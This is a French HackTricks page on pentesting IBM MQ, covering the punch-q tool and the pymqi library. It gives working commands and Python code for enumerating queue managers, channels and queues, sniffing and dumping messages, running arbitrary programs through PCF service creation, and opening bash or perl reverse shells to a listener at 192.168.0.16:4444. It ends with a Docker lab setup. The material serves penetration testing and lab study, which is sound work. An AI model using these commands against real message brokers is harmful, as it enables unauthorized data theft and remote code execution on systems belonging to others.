1414 - Pentesting IBM MQ

Reading time: 11 minutes

tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE)

Soutenir HackTricks

Informations de base

IBM MQ est une technologie IBM pour gérer les files de messages. Comme d'autres technologies de message broker, elle est dédiée à recevoir, stocker, traiter et classer les informations entre producteurs et consommateurs.

Par dĂ©faut, elle expose le port TCP 1414 d'IBM MQ. Parfois, l'API REST HTTP peut ĂȘtre exposĂ©e sur le port 9443. Les mĂ©triques (Prometheus) peuvent Ă©galement ĂȘtre accessibles depuis le port TCP 9157.

Le port TCP 1414 d'IBM MQ peut ĂȘtre utilisĂ© pour manipuler des messages, des files, des canaux, ... mais aussi pour contrĂŽler l'instance.

IBM fournit une large documentation technique disponible sur https://www.ibm.com/docs/en/ibm-mq.

Outils

Un outil suggéré pour une exploitation facile est punch-q, avec utilisation de Docker. L'outil utilise activement la bibliothÚque Python pymqi.

Pour une approche plus manuelle, utilisez la bibliothÚque Python pymqi. Les dépendances IBM MQ sont nécessaires.

Installation de pymqi

Les dĂ©pendances IBM MQ doivent ĂȘtre installĂ©es et chargĂ©es :

  1. Créez un compte (IBMid) sur https://login.ibm.com/.
  2. Téléchargez les bibliothÚques IBM MQ depuis https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc. Pour Linux x86_64, c'est 9.0.0.4-IBM-MQC-LinuxX64.tar.gz.
  3. DĂ©compressez (tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz).
  4. Exécutez sudo ./mqlicense.sh pour accepter les termes de la licence.

Si vous ĂȘtes sous Kali Linux, modifiez le fichier mqlicense.sh : supprimez/commenter les lignes suivantes (entre les lignes 105-110) :

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
 then
   echo "ERROR: This package is incompatible with this system"
   echo "       This package was built for ${BUILD_PLATFORM}"
   exit 1
fi
  1. Installez ces paquets :
bash
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. Ensuite, ajoutez temporairement les fichiers .so à LD : export LD_LIBRARY_PATH=/opt/mqm/lib64, avant d'exécuter d'autres outils utilisant ces dépendances.

Ensuite, vous pouvez cloner le projet pymqi : il contient des extraits de code intéressants, des constantes, ... Ou vous pouvez directement installer la bibliothÚque avec : pip install pymqi.

Utilisation de punch-q

Avec Docker

Utilisez simplement : sudo docker run --rm -ti leonjza/punch-q.

Sans Docker

Clonez le projet punch-q puis suivez le readme pour l'installation (pip install -r requirements.txt && python3 setup.py install).

AprĂšs, il peut ĂȘtre utilisĂ© avec la commande punch-q.

ÉnumĂ©ration

Vous pouvez essayer d'énumérer le nom du gestionnaire de files d'attente, les utilisateurs, les canaux et les files d'attente avec punch-q ou pymqi.

Gestionnaire de files d'attente

Parfois, il n'y a pas de protection contre l'obtention du nom du gestionnaire de files d'attente :

bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

Channels

punch-q utilise une liste de mots interne (modifiable) pour trouver des canaux existants. Exemple d'utilisation :

bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

Il se trouve que certaines instances IBM MQ acceptent des requĂȘtes MQ non authentifiĂ©es, donc --username / --password n'est pas nĂ©cessaire. Bien sĂ»r, les droits d'accĂšs peuvent Ă©galement varier.

DÚs que nous obtenons un nom de canal (ici : DEV.ADMIN.SVRCONN), nous pouvons énumérer tous les autres canaux.

L'Ă©numĂ©ration peut essentiellement ĂȘtre effectuĂ©e avec cet extrait de code code/examples/dis_channels.py de pymqi :

python
import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

... Mais punch-q intĂšgre Ă©galement cette partie (avec plus d'infos !).
Il peut ĂȘtre lancĂ© avec :

bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

Queues

Il y a un extrait de code avec pymqi (dis_queues.py), mais punch-q permet de récupérer plus d'informations sur les files d'attente :

bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

Dump messages

Vous pouvez cibler des files d'attente / canaux pour intercepter / extraire des messages (opération non destructive). Exemples:

bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

N'hésitez pas à itérer sur toutes les files d'attente identifiées.

Exécution de code

Quelques dĂ©tails avant de continuer : IBM MQ peut ĂȘtre contrĂŽlĂ© de plusieurs maniĂšres : MQSC, PCF, Commande de contrĂŽle. Certaines listes gĂ©nĂ©rales peuvent ĂȘtre trouvĂ©es dans la documentation IBM MQ. PCF (Formats de commande programmables) est ce sur quoi nous nous concentrons pour interagir Ă  distance avec l'instance. punch-q et de plus pymqi sont basĂ©s sur les interactions PCF.

Vous pouvez trouver une liste de commandes PCF :

Une commande intéressante est MQCMD_CREATE_SERVICE et sa documentation est disponible ici. Elle prend comme argument un StartCommand pointant vers un programme local sur l'instance (exemple : /bin/sh).

Il y a aussi un avertissement concernant la commande dans la documentation : "Attention : Cette commande permet à un utilisateur d'exécuter une commande arbitraire avec l'autorité mqm. Si des droits sont accordés pour utiliser cette commande, un utilisateur malveillant ou imprudent pourrait définir un service qui endommage vos systÚmes ou données, par exemple, en supprimant des fichiers essentiels."

Remarque : toujours selon la documentation IBM MQ (Référence d'administration), il existe également un point de terminaison HTTP à /admin/action/qmgr/{qmgrName}/mqsc pour exécuter la commande MQSC équivalente pour la création de service (DEFINE SERVICE). Cet aspect n'est pas encore couvert ici.

La crĂ©ation / suppression de service avec PCF pour l'exĂ©cution de programme Ă  distance peut ĂȘtre effectuĂ©e par punch-q :

Exemple 1

bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

Dans les journaux d'IBM MQ, vous pouvez lire que la commande a été exécutée avec succÚs :

2023-10-10T19:13:01.713Z AMQ5030I: La commande '808544aa7fc94c48' a démarré. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

Vous pouvez également énumérer les programmes existants sur la machine (ici /bin/doesnotexist ... n'existe pas) :

bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

Soyez conscient que le lancement du programme est asynchrone. Vous avez donc besoin d'un deuxiÚme élément pour exploiter la vulnérabilité (écouteur pour reverse shell, création de fichier sur un service différent, exfiltration de données via le réseau ...)

Exemple 2

Pour un reverse shell facile, punch-q propose Ă©galement deux payloads de reverse shell :

  • Un avec bash
  • Un avec perl

Bien sûr, vous pouvez en créer un personnalisé avec la commande execute.

Pour bash :

bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

Pour perl :

bash
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

PCF personnalisé

Vous pouvez consulter la documentation IBM MQ et utiliser directement la bibliothÚque python pymqi pour tester des commandes PCF spécifiques non implémentées dans punch-q.

Exemple :

python
import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

Si vous ne pouvez pas trouver les noms constants, vous pouvez vous référer à la documentation IBM MQ.

_Exemple pour MQCMD_REFRESH_CLUSTER (DĂ©cimal = 73). Il nĂ©cessite le paramĂštre MQCA_CLUSTER_NAME (DĂ©cimal = 2029) qui peut ĂȘtre _ (Doc: ):*

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
    args = {2029: "*"}
    response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
    print("Erreur")
else:
    print(response)

qmgr.disconnect()

Environnement de test

Si vous souhaitez tester le comportement et les exploits d'IBM MQ, vous pouvez configurer un environnement local basé sur Docker :

  1. Avoir un compte sur ibm.com et cloud.ibm.com.
  2. Créer un IBM MQ conteneurisé avec :
bash
sudo docker pull icr.io/ibm-messaging/mq:9.3.2.0-r2
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:9.3.2.0-r2

Par défaut, l'authentification est activée, le nom d'utilisateur est admin et le mot de passe est passw0rd (variable d'environnement MQ_ADMIN_PASSWORD). Ici, le nom du gestionnaire de files d'attente a été défini sur MYQUEUEMGR (variable MQ_QMGR_NAME).

Vous devez avoir IBM MQ en cours d'exécution avec ses ports exposés :

bash
❯ sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:9.3.2.0-r2   "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

Les anciennes versions des images Docker IBM MQ se trouvent Ă  : https://hub.docker.com/r/ibmcom/mq/.

Références